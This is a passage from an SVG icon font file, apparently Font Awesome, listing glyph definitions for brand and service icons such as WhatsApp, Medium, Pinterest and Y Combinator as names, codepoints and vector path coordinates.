c22.5996 -55.7002 69.5 -88.3008 128.899 -88.3008c43.4004 0 80.6006 16.6006 109.7 48.6006zM225.7 143.7c3.2002 -8.2998 6.59961 -16.6006 9.39941 -25.1006c6.30078 7.10059 12.9004 13.7002 20.3008 19.1006c-10 2 -20 2.89941 -29.7002 6z" />
    <glyph glyph-name="buysellads" unicode="&#xf20d;" 
d="M224 297.3l42.9004 -160.7h-85.8008zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM382.7 42.7002l-94.5 298.7h-128.4l-94.5 -298.7h90.7002l111.7 91.5996l24.2002 -91.5996h90.7998z
" />
    <glyph glyph-name="connectdevelop" unicode="&#xf20e;" horiz-adv-x="576" 
d="M550.5 207c6.69629 -1.33887 11.7861 -7.5 11.7881 -14.7324c0 -7.5 -5.3584 -13.6602 -12.3223 -15l-54.9111 -95.3574c0.536133 -1.60742 0.804688 -3.21387 0.804688 -4.82129c0 -7.23145 -5.09082 -13.3926 -12.0547 -14.7314l-51.6963 -90.2686
c0.535156 -1.33887 0.802734 -2.67773 0.802734 -4.28516c0 -8.30371 -6.69727 -15.2676 -15.2686 -15.2676c-4.28516 0 -8.30371 1.875 -10.9814 4.82129h-107.144c-2.67871 -3.21484 -6.96484 -5.35742 -11.5176 -5.35742s-8.83887 2.14258 -11.5166 5.35645h-106.875
c-2.67969 -3.21484 -6.69727 -5.35742 -11.5186 -5.35742c-8.30371 0 -15.2676 6.69727 -15.2676 15.2676c0 1.875 0.535156 3.75 1.07031 5.35742l-51.6963 89.7324c-6.96484 1.33887 -12.0547 7.5 -12.0547 14.7314c0 1.875 0.268555 3.21387 0.804688 4.82129
l-55.1797 95.3574c-6.96484 1.60742 -12.0537 7.76855 -12.0537 15c0 7.5 5.3584 13.6611 12.5898 15l53.3047 92.1436c0 0.536133 -0.268555 1.07227 -0.268555 1.60645c0 6.16113 3.75098 11.251 9.10742 13.6611l55.9824 97.2334
c-0.536133 1.33887 -1.07129 3.21387 -1.07129 4.82129c0 8.57129 6.96484 15.2676 15.2676 15.2676c4.82227 0 8.83887 -2.14258 11.7861 -5.625h106.071c2.67871 3.48242 6.69629 5.625 11.5176 5.625s8.83887 -2.14258 11.5176 -5.62402h106.606
c2.94727 3.48242 6.96484 5.625 11.7861 5.625c8.30371 0 15.2676 -6.69727 15.2676 -15.2676c0 -1.60742 -0.535156 -3.21484 -1.07031 -4.82129l55.4463 -95.8936c8.03613 -0.267578 14.7324 -6.96484 14.7324 -15.001c0 -2.67871 -0.803711 -5.08984 -1.875 -7.23145z
M153.535 -2.73242v75.8037h-43.6602zM153.535 81.1074v50.624l-44.999 -47.4102c0.535156 -1.07227 1.07129 -2.14355 1.33887 -3.21387h43.6602zM153.535 143.518l0.000976562 92.9463l-50.0889 51.9648c-2.41113 -1.60645 -5.08887 -2.41113 -7.76855 -2.67871
l-51.9648 -90c0.268555 -1.07227 0.268555 -2.14258 0.268555 -3.48242c0 -1.33887 0 -2.67871 -0.535156 -4.01758l55.7129 -96.4287c1.33887 -0.267578 2.67871 -1.07129 4.01758 -1.60742zM153.535 245.84v72.0527l-43.9277 -15.8037
c0 -0.267578 0.267578 -0.803711 0.267578 -1.07227c0 -2.94531 -0.803711 -5.62402 -2.14258 -7.7666zM153.535 326.465v59.7324l-43.6602 -75.5361zM480.054 287.357l-0.267578 0.267578l-98.0361 -101.518l63.75 -67.2324l35.3584 167.143zM291.75 92.8926
l-11.25 -11.7852h22.7676zM291.482 104.143l79.2852 82.2324l-83.0352 87.5889l-79.5537 -84.375zM296.839 98.25l16.875 -17.1426h124.02l5.8916 28.125l-67.5 71.25zM410.411 403.607l-117.053 -124.019l83.0342 -87.5889l97.5 101.25
c-1.33984 2.14258 -2.14258 4.82129 -2.14258 7.7666v0.536133l-57.8574 100.714c-1.33984 0.268555 -2.41016 0.804688 -3.48145 1.34082zM401.304 405.75h-4.28711l-166.339 -60l57.0547 -60.2676zM277.821 405.75h-103.929l50.8936 -53.5713l148.393 53.5713h-75
c-2.67871 -2.67773 -6.16016 -4.28516 -10.1787 -4.28516s-7.50098 1.60742 -10.1787 4.28516zM161.572 400.125v-70.7148l54.9111 19.8213l-51.1611 53.8398c-0.730469 -0.25293 -1.93066 -0.613281 -2.67969 -0.804688zM161.572 320.839v-83.3037l40.9814 -42.0527
l79.5537 84.1064l-59.7324 63.2139zM161.572 228.161v-76.0723l36.4277 38.3037zM161.572 140.303v-59.1953h107.678l17.1426 17.6777l-82.7676 85.9814zM168.536 -21.75h1.33887l91.6074 94.8213h-99.9102v-89.7324l1.07031 -1.60645
c2.41113 -0.804688 4.28613 -1.875 5.89355 -3.48242zM298.447 -21.75h104.194l-91.6064 94.8213h-38.3037l-91.6074 -94.8213h96.4287c2.68066 2.41016 6.42871 4.28516 10.4473 4.28516s7.76758 -1.875 10.4473 -4.28516zM418.447 -9.96387l17.4121 83.0361h-114.376
l89.1953 -91.875c1.07227 0.536133 2.14355 1.07031 3.48242 1.33887zM431.303 12.2676l34.8223 60.8037h-21.9639zM466.125 81.1074c0.267578 1.07129 0.803711 2.14258 1.33887 2.94531l-17.1426 18.2139l-4.55371 -21.1592h20.3574zM532.286 188.518
c-0.268555 1.33984 -0.536133 2.41113 -0.536133 3.75c0 1.60742 0.536133 2.94629 0.802734 4.28516l-45.8027 79.2861l-34.5537 -163.928l20.625 -21.9639c1.33887 0.802734 2.67871 1.33887 4.01758 1.87402z" />
    <glyph glyph-name="dashcube" unicode="&#xf210;" 
d="M326.6 344l102.2 104v-427c0 -50.5 -40.0996 -85 -91.2002 -85h-227.199c-51.1006 0 -91.2002 34.5 -91.2002 85v229.5c0 50.2002 40.0996 93.5 91.2002 93.5h216.199zM153.9 31.5v-0.0996094h223.8l-51.1006 52.2998v123.5c0 17.7002 -14.2998 32.5 -32 32.5h-140.699
c-17.7002 0 -32.4004 -14.7998 -32.4004 -32.5v-142.9c0 -17.7002 14.7002 -32.7998 32.4004 -32.7998z" />
    <glyph glyph-name="forumbee" unicode="&#xf211;" 
d="M5.7998 138.3c-3.7998 17 -5.7998 34.2002 -5.7998 51.4004c0 123.3 99.7998 223.3 223.1 223.3c16.6006 0 33.3008 -2 49.3008 -5.5c-123.4 -47 -220.5 -145.5 -266.601 -269.2zM398.7 327.5c-151.101 -44 -269.2 -164.4 -312.3 -315.7
c-17.2002 13.4004 -32.7002 30.9004 -45.2002 49c43.3994 149.9 160.1 267.7 309.7 312c18.0996 -12.5996 34.0996 -27.7998 47.7998 -45.2998zM414.5 74.7998c13.0996 -35.2998 24.2002 -73.2998 33.5 -109.8c-36.0996 9.2998 -72 20.5 -107 33.5996
c-25.7002 -16 -54.5996 -26.8994 -84.5996 -31.2998c42.5996 79.7002 108.199 147.4 187.6 190.3c-4.09961 -29.0996 -14.2998 -57.6992 -29.5 -82.7998zM444.2 220.3c-113.7 -46.7002 -204.2 -139.399 -250.5 -253.5c-19.6006 2.7002 -38.5 7.60059 -56.6006 15.2002
c44.9004 138.5 153.4 249.3 291.301 295.1c7.89941 -18.0996 13.1992 -37.2998 15.7998 -56.7998z" />
    <glyph glyph-name="leanpub" unicode="&#xf212;" horiz-adv-x="576" 
d="M386.539 336.515l15.0957 -248.955l-10.9785 0.275391c-36.2324 0.824219 -71.6406 -8.7832 -102.657 -27.9971c-31.0156 19.2139 -66.4238 27.9971 -102.657 27.9971c-45.5635 0 -82.0693 -10.7051 -123.516 -27.7227l31.291 258.288
c28.5459 11.8027 61.4834 18.1143 92.2256 18.1143c41.1729 0 73.8359 -13.1748 102.657 -42.5439c27.7227 28.2715 59.0127 41.7217 98.5391 42.5439zM569.07 0c-25.5264 0 -47.4854 5.21484 -70.542 15.6445c-34.3105 15.6455 -69.9932 24.9785 -107.871 24.9785
c-38.9775 0 -74.9346 -12.9014 -102.657 -40.623c-27.7227 27.7227 -63.6797 40.623 -102.657 40.623c-37.8779 0 -73.5605 -9.33301 -107.871 -24.9785c-22.2324 -9.88086 -44.7402 -15.6445 -69.1689 -15.6445h-1.37305l42.5449 349.141
c39.251 22.2334 87.0117 34.8594 132.301 34.8594c37.0547 0 75.209 -7.68457 106.225 -29.0947c31.0156 21.4102 69.1699 29.0947 106.225 29.0947c45.2891 0 93.0498 -12.626 132.301 -34.8594zM525.702 44.7412l-34.0361 280.246
c-30.7422 13.999 -67.248 21.4102 -101.009 21.4102c-38.4287 0 -74.3848 -12.0771 -102.657 -38.7021c-28.2725 26.625 -64.2275 38.7021 -102.657 38.7021c-33.7607 0 -70.2666 -7.41113 -101.009 -21.4102l-34.0361 -280.246
c47.2109 19.4863 82.8945 33.4854 135.045 33.4854c37.6045 0 70.8174 -9.60547 102.657 -29.6436c31.8398 20.0381 65.0518 29.6436 102.657 29.6436c52.1504 0 87.834 -13.999 135.045 -33.4854z" />
    <glyph glyph-name="sellsy" unicode="&#xf213;" horiz-adv-x="640" 
d="M539.71 210.692c55.1572 -13.4834 94.0742 -63.124 94.0732 -119.509c0 -68.0264 -55.4639 -123.184 -123.185 -123.184h-381.197c-67.7217 0 -123.186 55.1572 -123.185 123.185c0 47.4961 27.8848 91.0098 70.7852 111.234
c-2.14453 7.35449 -3.06543 15.0146 -3.06543 22.3691c0 46.2705 37.6914 83.9609 83.9629 83.9609c20.2227 0 39.835 -7.35449 55.1562 -20.5303c18.3867 74.7695 85.8008 127.781 163.021 127.781c92.542 0 167.924 -75.3818 167.924 -167.924
c0 -12.5635 -1.22559 -25.127 -4.29004 -37.3838zM199.88 46.4463v110.928c0 8.27344 -7.04688 15.3213 -15.3213 15.3213h-30.9482c-8.27344 0 -15.3213 -7.04785 -15.3213 -15.3213v-110.928c0 -8.27344 7.04688 -15.3213 15.3213 -15.3213h30.9482
c8.27344 0 15.3213 7.04688 15.3213 15.3213zM289.357 46.4463v131.458c0 8.27246 -7.04883 15.3203 -15.3223 15.3203h-30.9492c-8.27246 0 -15.3213 -7.04688 -15.3213 -15.3203v-131.458c0 -8.27344 7.04688 -15.3213 15.3213 -15.3213h30.9492
c8.27344 0 15.3223 7.04688 15.3223 15.3213zM378.834 46.4463v162.714c0 8.27246 -7.04688 15.3213 -15.3213 15.3213h-30.9482c-8.27441 0 -15.3223 -7.04785 -15.3223 -15.3213v-162.714c0 -8.27344 7.04785 -15.3213 15.3223 -15.3213h30.9482
c8.27441 0 15.3213 7.04688 15.3213 15.3213zM465.861 46.4463v224.612c0 8.58008 -7.04785 15.6279 -15.3223 15.6279h-28.4971c-8.27441 0 -15.3213 -7.04883 -15.3213 -15.6279v-224.612c0 -8.27344 7.04688 -15.3213 15.3213 -15.3213h28.4971
c8.27441 0 15.3223 7.04688 15.3223 15.3213z" />
    <glyph glyph-name="shirtsinbulk" unicode="&#xf214;" 
d="M100 37.7002l4.40039 9.89941l30.5996 -13.3994l-4.40039 -9.90039zM139.4 20.2002l4.39941 9.89941l30.6006 -13.3994l-4.40039 -9.90039zM311.5 34.2002l30.5996 13.3994l4.40039 -9.89941l-30.5996 -13.4004zM179.1 3l4.40039 9.59961l30.2998 -13.3994
l-4.39941 -9.90039zM60.4004 55.2002l4.39941 9.89941l30.6006 -13.6992l-4.40039 -9.60059zM271.8 16.7002l30.6006 13.3994l4.39941 -9.89941l-30.5996 -13.4004zM232.5 -0.799805l30.5996 13.3994l4.40039 -9.59961l-30.5996 -13.7002zM350.9 51.4004l30.5996 13.6992
l4.40039 -9.89941l-30.6006 -13.4004zM170 401.4v-10.5h-33.5v10.5h33.5zM122.8 401.4l-0.0996094 -10.5h-33.5v10.5h33.5996zM75.5 401.4l0.0996094 -10.5h-33.2998v10.5h33.2002zM217 401.4v-10.5h-33.2002v10.5h33.2002zM311.5 401.4v-10.5h-33.5v10.5h33.5zM358.8 401.4
v-10.5h-33.5v10.5h33.5zM264.2 401.4v-10.5h-33.2002v10.5h33.2002zM405.7 401.4v-10.5h-33.2998v10.5h33.2998zM52.7998 96.9004v-33.5h-10.7998v33.5h10.7998zM122.8 312.8l-0.0996094 -10.5h-33.5v10.5h33.5996zM52.7998 302.2v-23h-10.7998v33.5h33.5996v-10.5h-22.7998
zM221.7 73.5996c-50.2002 0 -91.2998 40.8008 -91.2998 91.3008c0 50.1992 41.0996 91.2998 91.2998 91.2998c50.5 0 91.2998 -41.1006 91.2998 -91.2998c0 -50.5 -40.7998 -91.3008 -91.2998 -91.3008zM173.5 184.7c0 -44.2998 77.5996 -11.9004 77.5996 -38
c0 -13.1006 -24 -14.2998 -32.6992 -14.2998c-12.3008 0 -29.8008 2.69922 -35.9004 14.8994h-0.900391l-9 -18.3994c14.8008 -9.30078 29.1006 -12.2002 47.2002 -12.2002c19.5 0 51 5.7998 51 31.2002c0 48.0996 -78.5 16.2998 -78.5 37.8994
c0 13.1006 20.7998 14.9004 29.7998 14.9004c10.8008 0 29.2002 -3.2002 35.6006 -13.1006h0.899414l8.80078 16.9004c-15.1006 6.2002 -27.4004 12 -44.3008 12c-20.0996 0 -49.5996 -6.40039 -49.5996 -31.7998zM52.7998 269.6v-33.5996h-10.7998v33.5996h10.7998z
M395.2 63.4004v33.5h10.7998v-33.5h-10.7998zM52.7998 140.1v-33.5h-10.7998v33.5h10.7998zM0 444.3h448v-406l-226.3 -98.5996l-221.7 98.5996v406zM418.8 57.2002h0.100586v270.1h-389.7v-270.1l192.8 -85.7002zM418.8 356.5h0.100586v58.5996h-389.7v-58.5996h389.6z
M52.7998 226.4v-33.5h-10.7998v33.5h10.7998zM52.7998 183.2v-33.5h-10.7998v33.5h10.7998zM170 312.8v-10.5h-33.5v10.5h33.5zM395.2 149.7v33.5h10.7998v-33.5h-10.7998zM395.2 192.9v33.5h10.7998v-33.5h-10.7998zM217 312.8v-10.5h-33.2002v10.5h33.2002zM395.2 236
v33.5h10.7998v-33.5h-10.7998zM395.2 106.5v33.5h10.7998v-33.5h-10.7998zM264.2 312.8v-10.5h-33.2002v10.5h33.2002zM311.5 312.8v-10.5h-33.5v10.5h33.5zM395.2 279.2l0.0996094 23h-22.7998v10.5h33.5v-33.5h-10.7998zM358.8 312.8v-10.5h-33.5v10.5h33.5z" />
    <glyph glyph-name="simplybuilt" unicode="&#xf215;" horiz-adv-x="512" 
d="M481.2 384c14.7002 0 26.5 -11.7998 26.7002 -26.2998v-331.4c0 -14.5 -11.8008 -26.2998 -26.6006 -26.2998h-450.399c-14.8008 0 -26.6006 11.7998 -26.6006 26.2998v331.4c0 14.5 11.7998 26.2998 26.4004 26.2998h106c14.5996 0 26.5996 -11.7998 26.5996 -26.2998
v-39.6006h185.3v39.6006c0 14.5 12.1006 26.2998 26.6006 26.2998h106zM149.8 92.2002c36.9004 0 66.6006 29.7002 66.6006 66.3994c0 36.9004 -29.7002 66.6006 -66.6006 66.6006c-36.7002 0 -66.3994 -29.7002 -66.3994 -66.6006
c0 -36.6992 29.7998 -66.3994 66.3994 -66.3994zM362.2 92.2002c36.5996 0 66.3994 29.7002 66.3994 66.5996c0 36.7002 -29.7998 66.4004 -66.3994 66.4004c-36.9004 0 -66.6006 -29.7998 -66.6006 -66.4004c0 -36.8994 29.7002 -66.5996 66.6006 -66.5996z" />
    <glyph glyph-name="skyatlas" unicode="&#xf216;" horiz-adv-x="640" 
d="M640 118.7c0 -65.9004 -52.5 -114.4 -117.5 -114.4c-165.9 0 -196.6 249.7 -359.7 249.7c-146.899 0 -147.1 -212.2 5.60059 -212.2c42.5 0 90.8994 17.7998 125.3 42.5c5.59961 4.10059 16.8994 16.2998 22.7998 16.2998s10.9004 -5 10.9004 -10.8994
c0 -7.7998 -13.1006 -19.1006 -18.7002 -24.1006c-40.9004 -35.5996 -100.3 -61.1992 -154.7 -61.1992c-83.4004 -0.100586 -154 59 -154 144.899c0 85.9004 67.5 149.101 152.8 149.101c185.3 0 222.5 -245.9 361.9 -245.9c99.8994 0 94.7998 139.7 3.39941 139.7
c-17.5 0 -35 -11.6006 -46.8994 -11.6006c-8.40039 0 -15.9004 7.2002 -15.9004 15.6006c0 11.5996 5.2998 23.7002 5.2998 36.2998c0 66.5996 -50.8994 114.7 -116.899 114.7c-53.1006 0 -80 -36.9004 -88.7998 -36.9004c-6.2002 0 -11.2002 5 -11.2002 11.2002
c0 5.59961 4.09961 10.2998 7.7998 14.4004c25.2998 28.7998 64.7002 43.6992 102.8 43.6992c79.4004 0 139.101 -58.3994 139.101 -137.8c0 -6.89941 -0.300781 -13.7002 -1.2002 -20.5996c11.8994 3.09961 24.0996 4.7002 35.8994 4.7002
c60.7002 0 111.9 -45.3008 111.9 -107.2z" />
    <glyph glyph-name="pinterest-p" unicode="&#xf231;" horiz-adv-x="384" 
d="M204 441.5c94.2002 0 180 -64.7998 180 -164.1c0 -93.3008 -47.7002 -196.801 -153.9 -196.801c-25.1992 0 -57 12.6006 -69.2998 36c-22.7998 -90.2998 -21 -103.8 -71.3994 -172.8c-5.2002 -1.89941 -3.5 -2.2998 -6.90039 1.5c-1.7998 18.9004 -4.5 37.5 -4.5 56.4004
c0 61.2002 28.2002 149.7 42 209.1c-7.5 15.2998 -9.59961 33.9004 -9.59961 50.7002c0 80 93.8994 92 93.8994 25.7998c0 -39 -26.3994 -75.5996 -26.3994 -113.399c0 -25.8008 21.2998 -43.8008 46.1992 -43.8008c69 0 90.3008 99.6006 90.3008 152.7
c0 71.1006 -50.4004 109.8 -118.5 109.8c-79.2002 0 -140.4 -57 -140.4 -137.399c0 -38.7002 23.7002 -58.5 23.7002 -67.7998c0 -7.80078 -5.7002 -35.4004 -15.6006 -35.4004c-24 0 -63.5996 40 -63.5996 110.4c0 110.699 101.4 179.1 204 179.1z" />
    <glyph glyph-name="whatsapp" unicode="&#xf232;" 
d="M380.9 350.9c41.8994 -42 67.0996 -97.7002 67.0996 -157c0 -122.4 -101.8 -222 -224.1 -222h-0.100586c-37.2002 0 -73.7002 9.2998 -106.1 27l-117.7 -30.9004l31.5 115c-19.4004 33.7002 -29.5996 71.9004 -29.5996 111c0 122.4 99.5996 222 222 222
c59.2998 0 115.1 -23.0996 157 -65.0996zM223.9 9.2998c101.699 0 186.6 82.7998 186.6 184.601c0.0996094 49.2998 -21.2998 95.5996 -56.0996 130.5c-34.8008 34.8994 -81.1006 54.0996 -130.4 54.0996c-101.8 0 -184.6 -82.7998 -184.6 -184.5
c0 -34.9004 9.69922 -68.7998 28.1992 -98.2002l4.40039 -7l-18.5996 -68.0996l69.7998 18.2998l6.7002 -4c28.2998 -16.7998 60.7998 -25.7002 94 -25.7002zM325.1 147.5c5.5 -2.7002 9.2002 -4.09961 10.5 -6.59961c1.40039 -2.30078 1.40039 -13.4004 -3.19922 -26.4004
c-4.60059 -13 -26.7002 -24.7998 -37.4004 -26.4004c-17.5996 -2.59961 -31.4004 -1.2998 -66.5996 13.9004c-55.7002 24.0996 -92 80.0996 -94.8008 83.7998c-2.69922 3.7002 -22.5996 30.1006 -22.5996 57.4004s14.2998 40.7002 19.4004 46.2998
c5.09961 5.5 11.0996 6.90039 14.7998 6.90039s7.39941 0 10.5996 -0.200195c3.40039 -0.200195 8 1.2998 12.5 -9.5c4.60059 -11.1006 15.7002 -38.4004 17.1006 -41.2002c1.39941 -2.7998 2.2998 -6 0.5 -9.7002c-10.6006 -21.2002 -22 -20.5 -16.3008 -30.2998
c21.5 -36.9004 42.9004 -49.7002 75.5 -66c5.5 -2.7998 8.80078 -2.2998 12 1.40039c3.30078 3.7998 13.9004 16.1992 17.6006 21.7998c3.7002 5.59961 7.39941 4.7002 12.5 2.7998c5.09961 -1.7998 32.3994 -15.2002 37.8994 -18z" />
    <glyph glyph-name="viacoin" unicode="&#xf237;" horiz-adv-x="384" 
d="M384 416l-48 -112h48v-48h-68.5l-13.7998 -32h82.2998v-48h-102.8l-89.2002 -208l-89.2002 208h-102.8v48h82.2998l-13.7998 32h-68.5v48h48l-48 112h64l80.7998 -192h94.5l80.7002 192h64zM192 112l27 64h-54z" />
    <glyph glyph-name="medium" unicode="&#xf23a;" 
d="M0 416h448v-448h-448v448zM372.2 309.9v5h-83.2002l-59.2998 -147.9l-67.4004 148h-87.2998v-5.09961l28.0996 -33.9004c2.80078 -2.5 4.2002 -6.09961 3.80078 -9.7998v-133c0.799805 -4.7998 -0.700195 -9.7002 -4.10059 -13.2002l-31.5996 -38.2998v-5.10059h89.7998
v5.10059l-31.5996 38.2998c-3.40039 3.5 -5.10059 8.40039 -4.40039 13.2002v115l78.7002 -171.601h9.09961l67.6006 171.601v-136.9c0 -3.59961 0 -4.2998 -2.40039 -6.7002l-24.2998 -23.5996v-4.90039h118v5.10059l-23.5 23
c-2.10059 1.5 -3.10059 4.09961 -2.7002 6.7002v169.3c-0.400391 2.5 0.599609 5.09961 2.7002 6.7002z" />
    <glyph glyph-name="y-combinator" unicode="&#xf23b;" 
d="M448 416v-448h-448v448h448zM236 160.5l77.5 145.5h-32.7002l-45.7998 -91c-4.7002 -9.2998 -9 -18.2998 -12.7998 -26.7998l-12.2002 26.7998l-45.2002 91h-35l76.7002 -143.8v-94.5h29.5v92.7998z" />
    <glyph glyph-name="optin-monster" unicode="&#xf23c;" horiz-adv-x="576" 
d="M572.6 26.5996c1 -3.5 1.90039 -7 1.7002 -10.6992c0.799805 -31.6006 -44.2998 -64 -73.5 -65.1006c-17.2998 -0.799805 -34.5996 8.40039 -42.7002 23.5c-113.5 -4.09961 -227 -4.89941 -340.199 0c-8.40039 -15.0996 -25.7002 -24 -43 -23.5
c-28.9004 1.10059 -74 33.5 -73.5 65.1006c0.299805 3.7998 0.799805 7.2998 1.89941 10.7998c-5.59961 9.39941 -4.7998 15.2998 5.40039 11.5996c3.2998 5.2002 7 9.5 11.0996 13.7998c-2.5 10.9004 1.2998 14.1006 11.1006 9.2002c4.5 3.2998 10 6.5 15.8994 9.2002
c0 15.7998 11.7998 11.2002 17.2998 5.7002c12.5 1.7998 20.2002 -0.700195 26.8008 -5.7002v19.7002c-12.9004 0 -40.6006 11.3994 -45.9004 36.2002c-5 20.7998 2.59961 38.0996 25.0996 47.5996c0.800781 5.90039 8.10059 14 14.9004 15.9004
c7.59961 1.89941 12.5 -4.60059 14.0996 -10.3008c7.40039 0 17.8008 -1.5 21.1006 -8.09961c5.39941 0.5 11.0996 1.40039 16.5 1.90039c-2.40039 1.89941 -5.10059 3.5 -8.10059 4.59961c-5.09961 8.90039 -13.7998 11.0996 -24.5996 11.5996
c0 0.800781 0 1.60059 0.299805 2.7002c-19.7998 0.5 -44.0996 5.60059 -54.8994 17.7998c-21.3008 23.6006 -15.9004 83.6006 12.1992 103.5c8.40039 5.7002 21.6006 0.800781 22.7002 -9.69922c2.40039 -20.6006 0.400391 -26.8008 26.2002 -25.9004
c8.09961 7.7998 16.7998 14.5996 26.5 20c-14.9004 1.2998 -28.9004 -1.59961 -43.7998 -3.7998c12.7002 12.5 23.8994 25.3994 56.7002 42.3994c23.5 11.9004 50 20.8008 76.1992 23.2002c-18.5996 7.90039 -40 11.9004 -59.6992 16.5
c76.5 16.2002 174.6 22.1006 244.199 -37.5996c18.1006 -15.4004 32.4004 -36.2002 42.7002 -60c39.7998 -4.90039 36.4004 5.5 38.6006 25.0996c1.09961 10.2998 14.2998 15.4004 22.6992 9.5c14.9004 -10.5 22.2002 -30.7998 24.6006 -48.0996
c2.2002 -17.7998 0.299805 -41.2998 -12.4004 -55.1006c-10.7998 -12.1992 -34.2998 -17.5996 -53.7998 -18.0996v-2.7998c-11.0996 -0.200195 -20.2998 -2.40039 -25.7002 -11.6006c-3 -1.09961 -5.7002 -2.69922 -8.39941 -4.59961
c5.69922 -0.5 11.3994 -1.40039 16.7998 -1.90039c1.89941 5.60059 12.5996 8.40039 21.0996 8.40039c1.7002 5.40039 6.7998 11.9004 14.1006 10.2998c7.2998 -1.59961 14.0996 -10 14.8994 -15.8994c10.7998 -4.40039 22.1006 -12.2002 25.1006 -25.7002
c1.89941 -8.10059 1.69922 -15.1006 0.299805 -21.9004c-5.7002 -25.2002 -33.2998 -36.2002 -45.9004 -36.2002c0 -6.69922 0 -13.1992 -0.299805 -19.6992c8.09961 6 16.4004 7.19922 26.7998 5.69922c6 5.90039 17.6006 9.40039 17.6006 -5.69922
c5.59961 -2.7002 11.2998 -6 15.8994 -9.2002c10.1006 5 13.7002 0.5 10.7998 -9.2002c4.10059 -4.2998 8.10059 -8.90039 11.1006 -13.7998c10.0996 3.59961 11 -2.10059 5.39941 -11.6006zM498.8 280.6c17.2998 -6.69922 26.2002 -22.0996 30.2998 -35.6992
c1.10059 10.5996 -2.69922 39.5 -13.7998 51.0996c-7.2998 7.2998 -14.0996 5.09961 -14.0996 -0.799805c0 -6.2002 -1.2998 -11.6006 -2.40039 -14.6006zM494.2 273.9c-3.2002 -3.30078 -9.2002 -4.90039 -14.1006 -5.7002c13 -15.7002 17 -41.7002 12.7002 -63
c10.7998 2.2002 20.5 6.2998 26.2002 12.2002c1.90039 2.19922 3.7998 4.89941 4.90039 7.59961c-1.10059 21.2998 -10.2002 42.7002 -29.7002 48.9004zM470.1 267.1c-3.69922 0 -8.09961 0 -11.7998 0.300781c7.5 -20.6006 12.4004 -42.7002 14.2998 -64.6006
c3.5 0 7.5 0.299805 11.6006 0.799805c5.89941 24.3008 -0.299805 51.6006 -14.1006 63.5zM47.5 245c4.09961 13.5 13 28.9004 30.2998 35.7002c-1 3 -2.39941 8.39941 -2.39941 14.5996c0 5.90039 -7.10059 8.10059 -14.1006 0.799805
c-11.3994 -11.5996 -14.8994 -40.5996 -13.7998 -51.0996zM57.2002 217.4c5.7002 -6.2002 15.3994 -10 26.2002 -12.2002c-4.30078 21.3994 -0.300781 47.2998 12.6992 63c-4.89941 0.799805 -10.8994 2.5 -14.0996 5.7002
c-19.4004 -6.2002 -28.2998 -27.6006 -29.7002 -48.9004c1.40039 -2.7002 3 -5.40039 4.90039 -7.59961zM105.1 202.8c2.40039 22.2002 9.10059 43.7998 19.8008 63.5c-5.2002 -1.09961 -10 -3 -14.9004 -4.89941l-12.2002 -5.10059v0.299805
c-7.2998 -14.0996 -10 -34.3994 -5.39941 -53c4.59961 -0.5 8.59961 -0.799805 12.6992 -0.799805zM289.1 365.5c-41.8994 0 -76.1992 -34.0996 -76.1992 -75.9004c0 -42.1992 34.2998 -76.1992 76.1992 -76.1992c41.9004 0 76.2002 34 76.2002 76.1992
c0 41.9004 -34.2998 75.9004 -76.2002 75.9004zM404.7 191.2c-12.9004 0.799805 -26.2002 0.799805 -39.5 1.09961c10 -50.5996 3.2998 -64.7002 16.5 -58.0996c16 8.09961 22.7002 39.2002 23 57zM350.7 192.8c-18.9004 0.299805 -38.1006 0.299805 -57 0v0.299805
c-0.299805 -5.19922 0.200195 -38.0996 4.2998 -41.0996c11.0996 -5.40039 39.5 -4.59961 51.0996 -1.09961c5.40039 1.59961 2.40039 37 1.60059 41.8994zM278.3 139c4.60059 2.5 2.40039 45.4004 1.2998 53.7002v0.299805
c-19.3994 -0.299805 -38.5996 -0.299805 -57.7998 -0.799805c-1.89941 -9.2002 -4.59961 -48.9004 1.90039 -51.6006c13 -5.69922 41.5996 -5.09961 54.5996 -1.59961zM171.8 190.1c-5.39941 -19.6992 0.299805 -45.0996 22.2002 -54.8994
c5.40039 -2.5 8.59961 -2.5 9.7002 4.2998c1.89941 8.7002 2.5 36.7998 4.89941 52.2002c-12.1992 -0.200195 -24.5996 -0.799805 -36.7998 -1.60059zM136.4 158.8c2.39941 -3.7002 1.59961 -9.09961 -8 -12.5c43.7998 -47 92.6992 -85.7002 155.899 -106.5
c67.5 19.2002 115.601 60 163.2 107c-11.0996 4.2998 -7.7002 10.2998 -7.2998 11.6006c-8.90039 0.799805 -17.9004 1.89941 -26.5 2.69922c-9.5 -33 -36 -52.8994 -46.7998 -31.5996c-2.7002 5.2002 -3.5 11.7002 -4.60059 16.7998
c-3.7998 -8.39941 -13.2998 -8.09961 -24.5996 -8.89941c-13.2002 -1.10059 -31.6006 -1.30078 -44 3c-3 -12.9004 -11.1006 -12.9004 -26.7998 -14.3008c-14.1006 -1.39941 -48.7002 -4.09961 -54.9004 10.8008c-1.09961 -28.7002 -35.0996 -10 -45.0996 7
c-3.2002 5.69922 -5.40039 11.3994 -7 17.5996c-7.80078 -0.799805 -15.7002 -1.59961 -23.5 -2.7002zM114.8 -13.7002c0.5 2.5 0.799805 5.2002 0.799805 8.2002c-5.69922 23.2002 -18.5996 49.7002 -33.5 54c-22.3994 6.7002 -68.8994 -23.5 -66.1992 -54.5996
c12.6992 -19.5 40 -35.7002 59.1992 -36.5c17.8008 -0.800781 35.9004 11.0996 39.7002 28.8994zM106.1 52.2998c9 -16 15.5 -33.2998 16.7002 -51.8994c33.5 19.3994 69.1006 35.6992 105.9 47c-38.7002 20.5 -68.1006 47.7998 -97.2998 77
c-2.10059 -1.30078 -5.10059 -2.40039 -7.80078 -3.5c-1.59961 -4.90039 8.7002 -5.30078 5.40039 -12.4004c-2.09961 -4.09961 -8.59961 -7.59961 -15.0996 -9.2002c-2.10059 -2.7002 -5.10059 -4.89941 -7.80078 -6.5h-0.299805
c-0.200195 -13.5 -0.200195 -27 0.299805 -40.5zM443.7 -12.2998c-36.7998 21.2998 -74.1006 41.2998 -115.601 53c-13.7998 -6.2002 -27.8994 -11.2998 -42.1992 -15.4004c-2.10059 -0.799805 -2.10059 -0.799805 -4.30078 0
c-11.8994 3.7002 -23.2998 8.10059 -34.8994 13.2002c-40.2002 -11.5996 -77.2998 -29.2002 -112.4 -50.7998h-0.299805v-0.299805c0.299805 0 0.299805 0 0.299805 0.299805c103.2 -4.10059 206.4 -3.5 309.4 0zM454.2 0.0996094c1 14.7002 7.2002 35.8008 16.5 51.7002
